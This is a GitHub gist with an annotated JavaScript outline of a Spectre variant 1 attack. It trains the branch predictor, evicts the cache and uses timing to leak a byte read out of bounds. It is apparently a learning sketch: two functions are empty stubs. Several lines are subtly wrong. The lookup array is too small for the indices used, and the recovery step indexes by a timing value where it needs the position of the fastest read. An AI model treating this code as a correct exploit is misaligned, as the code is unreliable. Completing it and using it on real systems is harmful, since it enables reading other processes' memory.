Skip to content

Instantly share code, notes, and snippets.

@robatwilliams
Created January 10, 2018 00:08
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save robatwilliams/8fb10f4bf2c5b7735cc4e4dcc85d7e96 to your computer and use it in GitHub Desktop.
// Based on https://spectreattack.com/spectre.pdf, sections 3 mainly, 4, 4.3
// Also see: https://webkit.org/blog/8048/what-spectre-and-meltdown-mean-for-webkit/
const array1 = [1, 2, 3];
const array1_size = 3;
const array2_size = (64 * 1024) / 8;
const array2 = new Array(array2_size); // 8192 empty 8-byte entries = 64KB. 64KB is 256*256
function run() {
setup();
exploit(1234); // array1[this index] resolves to the byte in memory we want to read
recoverByteValue();
}
function setup() {
trainBranchPredictor();
prepareCache();
}
function trainBranchPredictor() {
// Goal: mistrain the branch predictor so that it will later make an erroneous speculative prediction
// Means: call the branch many times with value that causes it to be taken
for (let i = 0; i < 10000; i++) {
exploit(0);
exploit(1);
exploit(2);
}
}
function prepareCache() {
// Goal1: help induce speculative execution
// Means: evict from the cache a value required to determine the destination of a branching instruction
// Simple: evict from the cache a value used in the conditional expression
// Goal2: make reads from our lookup array slow, so that fast reads can later be detected
// Means: evict the lookup array from the cache
// IdealMeans: flush the cache (not allowed from high level language)
// PracticalMeans: read a large amount of memory to fill the cache with unrelated values
readLargeAmountOfMemory();
// Goal3: make future reads of target value measurably quicker than other values in our lookup array
// Means: do something legitimate that uses the value
somethingThatUsesTargetValue();
}
function readLargeAmountOfMemory() {
// ~2k reads (depending on cache size) at 4096 byte (4KB) intervals out of a large array
}
function somethingThatUsesTargetValue() { }
function exploit(index) {
if (index < array1_size) {
// on exploit pass, next instruction is executed, causing the value in array2 to be loaded into cache
// 256 is the number of possible values a single byte can have
const y = array2[array1[index] * 256];
}
}
function recoverByteValue() {
const accessTimes = [];
for (let n = 0; n < 256; n++) {
const tBefore = performance.now();
const value = array2[n * 256]; // would need to do something with it to prevent optimising-out
accessTimes[n] = performance.now() - tBefore;
}
// now, accessTimes will have 255 large values (slow access from memory),
// and one small value (fast access from cache, for the one the exploit loaded)
// the value of our target byte is n for that fast access
const stolenValue = accessTimes[Math.min(...accessTimes)];
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment